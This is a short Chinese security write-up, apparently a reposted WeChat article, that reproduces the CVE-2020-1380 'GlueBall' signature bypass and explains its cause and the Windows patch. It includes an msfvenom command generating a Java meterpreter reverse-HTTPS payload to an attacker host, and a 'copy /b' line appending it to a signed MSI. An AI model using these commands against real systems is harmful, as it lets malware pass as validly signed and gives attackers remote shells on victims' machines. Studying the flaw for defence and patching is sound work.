> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/zmq8ziqbwLzB6MpHijJc7w)
在之前的公众号文章中,我们曾写过一篇《使用 CVE-2020-0601 进行伪造签名》的文章,里面利用 windows 其对椭圆曲线的逻辑处理错误,可以为任何程序添加可信的数字签名。而今天介绍的是另一种更加简单的方法,来添加数字签名,漏洞编号为 CVE-2020-1380 也称之为 GlueBall。利用该漏洞可绕过安全特征,不正确地加载已签名文件。在攻击场景中,攻击者能够绕过旨在阻止加载不正确签名文件的安全特征。
我们来看一下这个漏洞,众所周知,在以管理员权限运行时,windows 会弹出 uac 的提示,而拥有数字签名的程序触发 uac 时,为蓝色
非数字签名的为黄色
而众所周知比较常用的数字签名伪造工具 sigthief 是可以进行签名伪造的,该工具伪造的签名在国内的一些在线测试平台上会显示签名正常,而在 VT 则会显示无效签名,在系统中也会显示签名无效
而利用该漏洞签名的文件,则会显示正常
注:VT 已针对该漏洞进行更新,VT 可成功检测该漏洞攻击, 会显示 invaild-signature
下面即对该漏洞进行复现,该漏洞的复现过程很简单,准备一个带有数字签名的 msi 文件,一个恶意的 jar 文件 (可 msf 生成),然后合成即可,思路如下
msfvenom -p java/meterpreter/reverse\_https LHOST=<metasploit host> LPORT=<metasploit port> -f jar -o xxx.jar
然后制作文件
copy /b xxx.msi + xxx.jar xxx.jar
成功获取 session。其余 java 编写文件都可以使用该方法进行制作,注:只能为 java 文件
导致该漏洞的原因为当 Windows 读取 MSI 文件时,它会从文件开头开始读取,一直到有效的 MSI 签名末尾结束并舍弃其它部分。因此在检测到合法的 MSI 文件结构后,它会忽略被附加的数据,而不管它是什么。而 JAR 文件只不过是 ZIP 文件,并且在执行时由 Java 运行时从文件末尾开始读取,直到检测到有效 ZIP 文件结构的开头为止,然后它将丢弃文件的其余部分。这最后将造成 indows 开始从开头读取而 JAVA 从末尾读取时, windows 认为其是一个签名文件,而 java 文件也可以正常运行。
现 windows 已更新了相关补丁,主要为 msisip.dll 该文件,加入了 NeedFileSizeVerification 和 VerifyFileSize 两个逻辑,更新系统即可防止该类攻击。
参考文章:
https://blog.csdn.net/smellycat000/article/details/108091187
https://www.secrss.com/articles/24763
https://www.chainnews.com/zh-hant/articles/041869869233.htm
https://wwws.nightwatchcybersecurity.com/2019/01/16/thoughts-on-the-msi-jar-authenticode-bypass/